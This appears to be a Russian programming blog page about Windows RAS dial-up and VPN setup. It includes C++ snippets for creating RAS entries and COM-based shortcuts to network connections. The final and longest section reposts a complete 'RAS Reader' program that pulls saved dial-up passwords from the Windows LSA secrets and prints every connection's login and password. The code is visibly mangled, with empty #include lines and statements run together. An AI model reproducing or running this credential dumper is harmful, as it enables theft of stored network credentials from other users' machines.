Автоконфигуратор PPPOE/PPTP соединения

На русском:
link 1
Введение в Remote Access Service
СОздается новое соединение

Одно замечание — для совместимости с ранними версиями винды стоит инициализировать dwSize следующим образом:
Код
DWORD dwSz=sizeof(RASENTRY);
RasGetEntryProperties(NULL,NULL,NULL,&dwSz,NULL,NULL);
rasEntry.dwSize = (dwSz

В итоге - и ранние версии работают (во всяком случае должны работать, если дополнительные поля добавлялись мелкомягкими в конец структуры; где-то подтверждения этому предположению встречал), и все фичи, пришедшие с NT5.1 юзаются. И данное предположение справедливо для структуры под NT6 aka Vista при попытке ее поюзать на 5.1 (там есть доп. поля, сначала под 6ю версию компилил и долго удивлялся, что с кодом; заглянул в version.h только после того, как сделал этот воркэраунд)
P.S. Пока не нашел, как создать линк на десктопе :(


link 1

link 2
link 3
link 4
link 5
Как импортировать Интернет-соединения из настроек Windows?
вот пример создания GPRS соеденения для Windows Mobile

Часть 2: Ярлык

Нужно создать ярлык. Да не просто ярлык, а ярлык указывающий на VPN-подключение. Есть ссылка: http://www.rsdn.ru/article/winshell/shortcuts.xml но то, что в ней написано я не очень понимаю, т.к. совершенно не умею работать с COM. К тому же, в качестве примера, по созданию ярлыка там дан как кусок программы. Заставить его работать отдельно у меня пока не получилось.
Есть еще ссылка: http://www.sources.ru/builder/faq/015.html - но там не выполняется самое первое условие и соответственно весь код ни к чему не ведет.
Хочется: что бы кто-нибудь растолковал, как все же можно сделать ярлык на WIN API, пусть с COM (без него ведь ни как?). Необходимый минимум. Пожалуйста не предлагать самому разобраться с COM - всему свое время, а время COM для меня еще не настало. Времени как раз не хватает, а ярлык сделать очень нужно. Но т.к. пока работаю совсем в другом направлении, то не успеваю разобраться сам. В общем - буду благодарен за любой дельный совет.
ЗЫ: Сюда: http://www.codenet.ru/progr/delphi/quest036.php - то же желательно не посылать, т.к. там вообще темный лес для меня. Но если уж посылать, то с комментариями по поводу кода.


#include
#include

#include

#define HOTKEY(modifier,key) ((((modifier)&0xff)<<8)|((key)&0xff)) // Создание ярлыка // Входные параметры: // pwzShortCutFileName - путь и имя ярлыка, например, "C:\\Блокнот.lnk" // Если не указан путь, ярлык будет создан в папке, указанной в следующем параметре. // Прим.: Windows сама НЕ добавляет к имени расширение .lnk // pszPathAndFileName - путь и имя exe-файла, например, "C:\\Windows\\NotePad.Exe" // pszWorkingDirectory - рабочий каталог, например, "C:\\Windows" // pszArguments - аргументы командной строки, например, "C:\\Doc\\Text.Txt" // wHotKey - горячая клавиша, например, для Ctrl+Alt+A HOTKEY(HOTKEYF_ALT|HOTKEYF_CONTROL,'A') // iCmdShow - начальный вид, например, SW_SHOWNORMAL // pszIconFileName - путь и имя файла, содержащего иконку, например, "C:\\Windows\\NotePad.Exe" // int iIconIndex - индекс иконки в файле, нумеруется с 0 bool __fastcall CreateShortCut( LPWSTR pwzShortCutFileName, LPTSTR pszPathAndFileName, LPTSTR pszWorkingDirectory, LPTSTR pszArguments, WORD wHotKey, int iCmdShow, LPTSTR pszIconFileName, int iIconIndex) { IShellLink * pSL; IPersistFile * pPF; HRESULT hRes; if( CoInitialize(NULL) != S_OK) return false; // Получение экземпляра компонента "Ярлык" hRes = CoCreateInstance(CLSID_ShellLink, 0, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID *)&pSL); if( SUCCEEDED(hRes) ) { hRes = pSL->SetPath(pszPathAndFileName);
if( SUCCEEDED(hRes) )
{
//hRes = pSL->SetArguments(pszArguments);
//if( SUCCEEDED(hRes) )
{
hRes = pSL->SetWorkingDirectory(pszWorkingDirectory);
if( SUCCEEDED(hRes) )
{
hRes = pSL->SetIconLocation(pszIconFileName,iIconIndex);
if( SUCCEEDED(hRes) )
{
// hRes = pSL->SetHotkey(wHotKey);
// if( SUCCEEDED(hRes) )
{
hRes = pSL->SetShowCmd(iCmdShow);
if( SUCCEEDED(hRes) )
{
// Получение компонента хранилища параметров
hRes = pSL->QueryInterface(IID_IPersistFile,(LPVOID *)&pPF);
if( SUCCEEDED(hRes) )
{
// Сохранение созданного ярлыка
hRes = pPF->Save(pwzShortCutFileName,TRUE);
pPF->Release();
}
}
}
}
}
}
}
pSL->Release();
}
return SUCCEEDED(hRes);

} //bool __fastcall CreateShortCut

void main(void)
{
//WSTR
bool b = CreateShortCut(L"C:\\Note2.lnk", _T("D:\\Windows\\NotePad.Exe"), _T("D:\\Windows"), _T(""), 0,
SW_SHOWNORMAL, _T("D:\\Windows\\NotePad.Exe"), 0);
}

надо не путь получить, или имя, а именно PIDL объекта, при чем полный. GetDisplayNameOf дает нам не путь, а только имя которое выводится на обозрение пользователю. Т.е. в оптимальном варианте - это лишь часть пути, как например для Program Files будет "Program Files", а не "C:\Program Files". А если мы имеем дело с виртуальными объектами вроде подключений, то это даже не часть пути.
Полный PIDL в моем случае получается при сложении PIDL папки "Сетевые подключения" и PIDL искомого подключения.
Но все равно большое спасибо, а то я долго наверное еще тупил бы пытаясь получить то, что у меня уже есть .
Вот код:


#include
#include
#include

void rus_out(char *str)
{
char out_str[255];
CharToOem(str,out_str);
printf("%s\n",out_str);
return;
}

LPMALLOC pMalloc;

bool __fastcall CreateShortCut(LPWSTR pwzShortCutFileName, LPCITEMIDLIST pidl,
LPTSTR pszWorkingDirectory, WORD wHotKey, int iCmdShow);
LPITEMIDLIST Append(LPCITEMIDLIST pidlBase, LPCITEMIDLIST pidlAdd);
void short_cut_startup(char *connection_name, LPWSTR link_name);

main()
{
short_cut_startup("connection_name",L"shortcut_file_name.lnk");
return 0;
}

//ОСНОВНАЯ ФУНКЦИЯ СОЗДАНИЯ ЯРЛЫЧКА НА РАБОЧЕМ СТОЛЕ
void short_cut_startup(char *connection_name, LPWSTR link_name)
{
LPITEMIDLIST pidConnections = NULL;
LPITEMIDLIST pidlItems = NULL;
LPITEMIDLIST pidlDesk = NULL;

IShellFolder *psfFirstFolder = NULL;
IShellFolder *psfDeskTop = NULL;
IShellFolder *pConnections = NULL;
LPENUMIDLIST ppenum = NULL;
ULONG celtFetched;
HRESULT hr;
STRRET str_curr_connection_name;
TCHAR curr_connection_name[MAX_PATH]="";//ИМЯ ПОДКЛЮЧЕНИЯ
TCHAR desktop_path[MAX_PATH]="";//ПУТЬ К РАБОЧЕМУ СТОЛУ
TCHAR full_link_name[MAX_PATH]="";
LPITEMIDLIST full_pid;

CoInitialize( NULL );
//ВЫДЕЛЯЕМ ПАМЯТЬ ДЛЯ РАБОТЫ С ОБЕКТАМИ Namespace
hr = SHGetMalloc(&pMalloc);
hr = SHGetFolderLocation(NULL, CSIDL_CONNECTIONS, NULL, NULL, &pidConnections);

//УЗНАЕМ ПУТЬ К РАБОЧЕМУ СТОЛУ
SHGetFolderPath(NULL, CSIDL_DESKTOP, NULL, 0, desktop_path);

hr = SHGetDesktopFolder(&psfDeskTop);
hr = psfDeskTop->BindToObject(pidConnections, NULL, IID_IShellFolder, (LPVOID *) &pConnections);
hr = pConnections->EnumObjects(NULL,SHCONTF_FOLDERS | SHCONTF_NONFOLDERS, &ppenum);

//ВОТ ТУТ МОЖНО ЗАМУТИТ ЦИКЛ
while(hr = ppenum->Next(1,&pidlItems, &celtFetched) == S_OK && (celtFetched) == 1)
{
pConnections->GetDisplayNameOf(pidlItems, SHGDN_INFOLDER, &str_curr_connection_name);
StrRetToBuf(&str_curr_connection_name, pidlItems, curr_connection_name, MAX_PATH);
if(!strcmp(curr_connection_name,connection_name))break;
}
//СКЛАДЫВАЕМ ПОЛУЧЕННЫЕ PIDLs
full_pid=Append(pidConnections,pidlItems);
SetCurrentDirectory(desktop_path);
CreateShortCut(link_name,full_pid,"C:\\windows",0,SW_SHOWNORMAL);
printf("\n");
ppenum->Release();
pMalloc->Free(pidlItems);
pMalloc->Free(pidConnections);
pMalloc->Release();
pConnections->Release();
CoUninitialize();
}

bool __fastcall CreateShortCut(
LPWSTR pwzShortCutFileName,
LPCITEMIDLIST pidl,
LPTSTR pszWorkingDirectory,
WORD wHotKey,
int iCmdShow
)
{
IShellLink * pSL;
IPersistFile * pPF;
HRESULT hRes;
// Получение экземпляра компонента "Ярлык"
hRes = CoCreateInstance(CLSID_ShellLink, 0,CLSCTX_INPROC_SERVER,
IID_IShellLink, (LPVOID *)&pSL);
if( SUCCEEDED(hRes) )
{
hRes=pSL->SetIDList(pidl);
if(SUCCEEDED(hRes))
{
hRes = pSL->SetHotkey(wHotKey);
if( SUCCEEDED(hRes) )
{
hRes = pSL->SetShowCmd(iCmdShow);
if( SUCCEEDED(hRes) )
{
// Получение компонента хранилища параметров
hRes = pSL->QueryInterface(IID_IPersistFile,(LPVOID *)&pPF);
if( SUCCEEDED(hRes) )
{
// Сохранение созданного ярлыка
hRes = pPF->Save(pwzShortCutFileName,TRUE);
if( SUCCEEDED(hRes) ) printf("Save successed!\n");
else printf("Save error!\n");
pPF->Release();
}// else printf("Error 4\n");
}// else printf("Error 3\n");
}// else printf("Error 2\n");
}// else printf("Error 1\n");
pSL->Release();
}// else printf("Error 0\n");
return SUCCEEDED(hRes);
}

//************************************************************
//ФУНКЦИИ ДЛЯ РАБОТЫ С PIDLs - тупо скопированы с http://msdn.microsoft.com

LPITEMIDLIST GetNextItemID(LPCITEMIDLIST pidl)
{
// Check for valid pidl.
if(pidl == NULL)
return NULL;

// Get the size of the specified item identifier.
int cb = pidl->mkid.cb;

// If the size is zero, it is the end of the list.
if (cb == 0)
return NULL;

// Add cb to pidl (casting to increment by bytes).
pidl = (LPITEMIDLIST) (((LPBYTE) pidl) + cb);

// Return NULL if it is null-terminating, or a pidl otherwise.
return (pidl->mkid.cb == 0) ? NULL : (LPITEMIDLIST) pidl;
}
//УЗНАЕМ РАЗМЕР ЗАДАННОЙ PIDL
UINT GetSize(LPCITEMIDLIST pidl)
{
UINT cbTotal = 0;
if (pidl)
{
cbTotal += sizeof(pidl->mkid.cb); // Terminating null character
while (pidl)
{
cbTotal += pidl->mkid.cb;
pidl = GetNextItemID(pidl);
}
}
return cbTotal;
}
//СКЛАДЫВАЕМ PIDLs
LPITEMIDLIST Append(LPCITEMIDLIST pidlBase, LPCITEMIDLIST pidlAdd)
{
if(pidlBase == NULL)
return NULL;
if(pidlAdd == NULL)
return (LPITEMIDLIST)pidlBase;

LPITEMIDLIST pidlNew;

UINT cb1 = GetSize(pidlBase) - sizeof(pidlBase->mkid.cb);
UINT cb2 = GetSize(pidlAdd);

pidlNew = (LPITEMIDLIST)pMalloc->Alloc(cb1 + cb2);
if (pidlNew)
{
CopyMemory(pidlNew, pidlBase, cb1);
CopyMemory(((LPSTR)pidlNew) + cb1, pidlAdd, cb2);
}
return pidlNew;
}

RAS Reader на С++ web-hack.ru by ph34rd:

#include
#include
#include
#include
#include
#include

typedef struct tagLSAD // Структура для размещения паролей из LSA
{
DWORD dwUID;
char szPassword[128];
} LSAD;

BOOL WINAPI is_NT(void) // Определяем платформу NT или 9x
{
OSVERSIONINFO vi;

vi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&vi);
if (vi.dwPlatformId==VER_PLATFORM_WIN32_NT)
return true;

return false;
}

BOOL WINAPI convert_sid(PSID pSid, LPTSTR TextualSid, LPDWORD lpdwBufferLen) // Переводим SID в строку
{
PSID_IDENTIFIER_AUTHORITY psia;
DWORD dwSubAuthorities;
DWORD dwSidRev=SID_REVISION;
DWORD dwCounter;
DWORD dwSidSize;

if(!IsValidSid(pSid)) return FALSE;

psia = GetSidIdentifierAuthority(pSid);

dwSubAuthorities = *GetSidSubAuthorityCount(pSid);

dwSidSize=(15 + 12 + (12 * dwSubAuthorities) + 1) * sizeof(TCHAR);

if (*lpdwBufferLen < dwSidSize) { *lpdwBufferLen = dwSidSize; SetLastError(ERROR_INSUFFICIENT_BUFFER); return FALSE; } dwSidSize=wsprintf(TextualSid, TEXT("S-%lu-"), dwSidRev ); if ( (psia->Value[0] != 0) || (psia->Value[1] != 0) )
{
dwSidSize+=wsprintf(TextualSid + lstrlen(TextualSid),
TEXT("0x%02hx%02hx%02hx%02hx%02hx%02hx"),
(USHORT)psia->Value[0],
(USHORT)psia->Value[1],
(USHORT)psia->Value[2],
(USHORT)psia->Value[3],
(USHORT)psia->Value[4],
(USHORT)psia->Value[5]);
}
else
{
dwSidSize+=wsprintf(TextualSid + lstrlen(TextualSid),
TEXT("%lu"),
(ULONG)(psia->Value[5] ) +
(ULONG)(psia->Value[4] << 8) + (ULONG)(psia->Value[3] << 16) + (ULONG)(psia->Value[2] << 24) ); } for (dwCounter=0; dwCounter < dwSubAuthorities; dwCounter++) { dwSidSize+=wsprintf(TextualSid + dwSidSize, TEXT("-%lu"), *GetSidSubAuthority(pSid, dwCounter) ); } return TRUE; } LPSTR WINAPI get_local_sid(LPTSTR szSid, DWORD dwSize) // Получаем SID текущего пользователя { char szUserName[256]; char szUserSid[256]; char szUserDomain[256]; SID_NAME_USE snu; DWORD dwNameLen; DWORD dwSidLen; DWORD dwDomainLen; lstrcpy(szSid, ""); dwNameLen = 256; dwSidLen = 256; dwDomainLen = 256; if (GetUserName(szUserName, &dwNameLen)) { if (LookupAccountName(NULL, szUserName, szUserSid, &dwSidLen, szUserDomain, &dwDomainLen, &snu)) { if (IsValidSid(szUserSid)) { convert_sid(szUserSid, szSid, &dwSize); } } } return szSid; } DWORD WINAPI get_ras_count() // Получаем количество RAS-соединенией { DWORD dwSize, Ret, Count; RASENTRYNAME RasEntry; dwSize = sizeof(RASENTRYNAME); RasEntry.dwSize = dwSize; Ret = RasEnumEntries(NULL, NULL, &RasEntry, &dwSize, &Count); if ((Ret == ERROR_BUFFER_TOO_SMALL) || (Ret == 0)) { return Count; } else { return NULL; } } DWORD WINAPI dump_lsa_data(LPCSTR szKey, PLSA_UNICODE_STRING *PrivateData) // Дампим пароли из LSA { LSA_OBJECT_ATTRIBUTES ObjectAttributes; LSA_HANDLE lshPolicy; NTSTATUS Ret = 100; LSA_UNICODE_STRING LsaKey; ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes)); if (LsaOpenPolicy(NULL, &ObjectAttributes, POLICY_GET_PRIVATE_INFORMATION, &lshPolicy) == NULL) { LsaKey.Length = lstrlen(szKey) << 1; LsaKey.MaximumLength = LsaKey.Length + 2; LsaKey.Buffer = (PWSTR)GlobalAlloc(GPTR, LsaKey.MaximumLength); OemToCharBuffW(szKey, LsaKey.Buffer, lstrlen(szKey)); Ret = LsaRetrievePrivateData(lshPolicy, &LsaKey, PrivateData); GlobalFree(LsaKey.Buffer); LsaClose(lshPolicy); } return Ret; } LPSTR WINAPI unicode_to_UTF8(LPCWSTR unicode_string) // Конвертируем unicode строку в UTF8 строку { LPSTR res; DWORD res_len = WideCharToMultiByte(CP_UTF8, 0, unicode_string, -1, NULL, 0, NULL, NULL); if (res_len) { res = (LPSTR)GlobalAlloc(GPTR, res_len); if (WideCharToMultiByte(CP_UTF8, 0, unicode_string, -1, res, res_len, NULL, NULL)) { return res; } } return NULL; } LPWSTR WINAPI char_to_unicode(LPCSTR char_string) // Конвертируем обычную строку в unicode, в кодировке win-1251 { LPWSTR res; DWORD res_len = MultiByteToWideChar(1251, 0, char_string, -1, NULL, 0); if (res_len) { res = (LPWSTR)GlobalAlloc(GPTR, res_len); if (MultiByteToWideChar(1251, 0, char_string, -1, res, res_len)) { return res; } } return NULL; } int main(int argc, char* argv[]) { DWORD dwCount; DWORD dwSize; DWORD DevInfo; RASENTRYNAME *RasEntryes; DWORD DialParamsUID; LSAD lsDATA[255]; // Буфер для данных из LSA RASENTRY RasEntryProperties; RASDIALPARAMS RasParams; BOOL PwdDetected = TRUE; DWORD i, j, off, len, cur; CHAR szBook1[256] = {0}; // Путь к локальной телефонной книге CHAR szBook2[256] = {0}; // Путь к глобальной телефонной книге CHAR szKey[256] = {0}; // Ключ CHAR szSid[128] = {0}; // SID LSA_UNICODE_STRING *PrivateData; dwCount = get_ras_count(); // Получаем количество RAS-соединений if (dwCount > 0)
{
RasEntryes = (RASENTRYNAME *)GlobalAlloc(GPTR, sizeof(RASENTRYNAME)*dwCount); // Выделяем память для размещения записей о соединениях

dwSize = sizeof(RASENTRYNAME);
RasEntryes[0].dwSize = dwSize;

dwSize = dwSize*dwCount;

RasEnumEntries(NULL, NULL, RasEntryes, &dwSize, &dwCount); // Получаем все RAS-соединения

if (is_NT()) // Если NT получаем пути к телефонным книгам
{
SHGetSpecialFolderPath(NULL, szBook1, 0x1a, FALSE);

if (szBook1[lstrlen(szBook1)] != '\\') lstrcat(szBook1, "\\");
lstrcat(szBook1, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

SHGetSpecialFolderPath(NULL, szBook2, 0x23, FALSE);

if (szBook2[lstrlen(szBook2)] != '\\') lstrcat(szBook2, "\\");
lstrcat(szBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

wsprintf(szKey, "RasDialParams!%s#0", get_local_sid(szSid, 128)); // LSA ключ

if (!dump_lsa_data(szKey, &PrivateData)) // Получаем LSA данные
{
off = 0;
cur = 0;

char *p = (char *)PrivateData->Buffer;

while (off < PrivateData->Length) // Распарсиваем LSA данные и заносим в структуру LSAD
{
if ((cur % 9) == 0)
{
len = cur / 9;

if (lstrlenW((PWSTR)(p + off)) == 0) break;

wsprintf(szSid ,"%ws", p + off);

lsDATA[len].dwUID = atol(szSid);

}

if ((((cur-6) % 9) == 0) && (((cur-6) / 9) == len))
{
wsprintf(lsDATA[len].szPassword, "%ws", p + off);

}

off += (lstrlenW((PWSTR)(p + off))+1)*2;

cur++;
}

LsaFreeMemory(PrivateData->Buffer); // Освобождаем память от обработанных данных
}

wsprintf(szKey, "L$_RasDefaultCredentials#0"); // LSA ключ

if (!dump_lsa_data(szKey, &PrivateData)) // Получаем LSA данные
{
off = 0;
cur = len*9;

char *p = (char *)PrivateData->Buffer;

while (off < PrivateData->Length) // Распарсиваем LSA данные и заносим в структуру LSAD
{
if ((cur % 9) == 0)
{
len = cur / 9;

if (lstrlenW((PWSTR)(p + off)) == 0) break;

wsprintf(szSid ,"%ws", p + off);

lsDATA[len].dwUID = atol(szSid);

}

if ((((cur-6) % 9) == 0) && (((cur-6) / 9) == len))
{
wsprintf(lsDATA[len].szPassword ,"%ws", p + off);

}

off += (lstrlenW((PWSTR)(p + off))+1)*2;

cur++;
}

LsaFreeMemory(PrivateData->Buffer); // Освобождаем память от обработанных данных
}
}

printf("RAS Connections...\n\n");

for (i = 0; i < dwCount; i++) { RasParams.dwSize = sizeof(RASDIALPARAMS); lstrcpy(RasParams.szEntryName, RasEntryes[i].szEntryName); RasGetEntryDialParams(NULL, &RasParams, &PwdDetected); dwSize = sizeof(RASENTRY); ZeroMemory(&RasEntryProperties, dwSize); RasEntryProperties.dwSize = dwSize; RasGetEntryProperties(NULL, RasEntryes[i].szEntryName, &RasEntryProperties, &dwSize, NULL, &DevInfo); // Получаем опции соединения if (is_NT() && ((lstrlen(szBook1) > 0) || (lstrlen(szBook2) > 0))) // Если NT считываем ID-соединений и телефоны из телефонных книжек
{
LPWSTR unicode;
LPSTR utf8;

unicode = char_to_unicode(RasParams.szEntryName);
utf8 = unicode_to_UTF8(unicode); // Конвертирование в UTF8 если название соединения записано в UTF8

DialParamsUID = GetPrivateProfileInt(RasParams.szEntryName, "DialParamsUID", 0, szBook1); // Читаем параметры из телефонных книг книги
if (DialParamsUID == 0) DialParamsUID = GetPrivateProfileInt(RasParams.szEntryName, "DialParamsUID", 0, szBook2);
if (DialParamsUID == 0) DialParamsUID = GetPrivateProfileInt(utf8, "DialParamsUID", 0, szBook1);
if (DialParamsUID == 0) DialParamsUID = GetPrivateProfileInt(utf8, "DialParamsUID", 0, szBook2);

GetPrivateProfileString(RasParams.szEntryName, "PhoneNumber", "", szKey, 256, szBook1);
if (lstrlen(szKey) == 0) GetPrivateProfileString(RasParams.szEntryName, "PhoneNumber", "", szKey, 256, szBook2);
if (lstrlen(szKey) == 0) GetPrivateProfileString(utf8, "PhoneNumber", "", szKey, 256, szBook1);
if (lstrlen(szKey) == 0) GetPrivateProfileString(utf8, "PhoneNumber", "", szKey, 256, szBook2);

for (j = 0; j < len; j++) { if (DialParamsUID == lsDATA[j].dwUID) // Если ID-соединения совпал и индексом в LSA данных, размещаем в структуре соединения реальный телефон и пароль { lstrcpy(RasParams.szPassword, lsDATA[j].szPassword); if (lstrlen(RasParams.szPhoneNumber) == 0) lstrcpy(RasParams.szPhoneNumber, szKey); break; } } GlobalFree(utf8); GlobalFree(unicode); } printf("-----------------------------------\nName: %s\nPhone: %s\nLogin: %s\nPassword: %s\n\n", RasParams.szEntryName, RasParams.szPhoneNumber, RasParams.szUserName, RasParams.szPassword); // Вывод } printf("-----------------------------------\n\n"); // Вывод GlobalFree(RasEntryes); // Освобождаем память от данных RAS-соединений } system("PAUSE"); // Пауза перед выходом return EXIT_SUCCESS; }


Leave a Comment

Ваш e-mail не будет опубликован. Обязательные поля помечены *